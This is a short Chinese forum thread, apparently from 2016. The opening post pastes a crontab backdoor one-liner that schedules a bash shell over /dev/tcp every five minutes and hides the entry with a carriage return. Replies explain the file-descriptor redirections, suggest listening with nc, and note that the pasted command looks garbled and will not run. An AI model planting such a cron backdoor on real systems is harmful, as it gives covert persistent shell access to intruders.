直接贴代码了,如下:
(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile – I;\rno crontab for whoami
%100c\n")|crontab -
嗯,这是一段 crontab 后门的代码
1
lrvy 2016-11-25 17:15:59 +08:00
监听本地 8080 端口 nc -l -p 8080
|
2
redsonic 2016-11-25 17:19:07 +08:00
传说中的用 bash 进行网络通讯
|
3
Tink 2016-11-25 17:25:08 +08:00
|
4
Tink 2016-11-25 17:25:28 +08:00 1
|
5
skydiver 2016-11-25 18:03:13 +08:00
感觉是复制粘贴错了吧,根本运行不了
|
6
Owenjia 2016-11-25 18:22:10 +08:00
这是从哪复制来的?好像不太对吧?貌似有些是转义过的,后面那个 –( U+2013 )……
格式化下应该就好看懂了,主要是重定向和文件描述符。 exec 9<> /dev/tcp/localhost/8080 exec 0 <& 9 exec 1 >& 9 2>& 1 |
8
rrfeng 2016-11-25 18:32:38 +08:00
约等于于在 8080 开了个 bash ……
|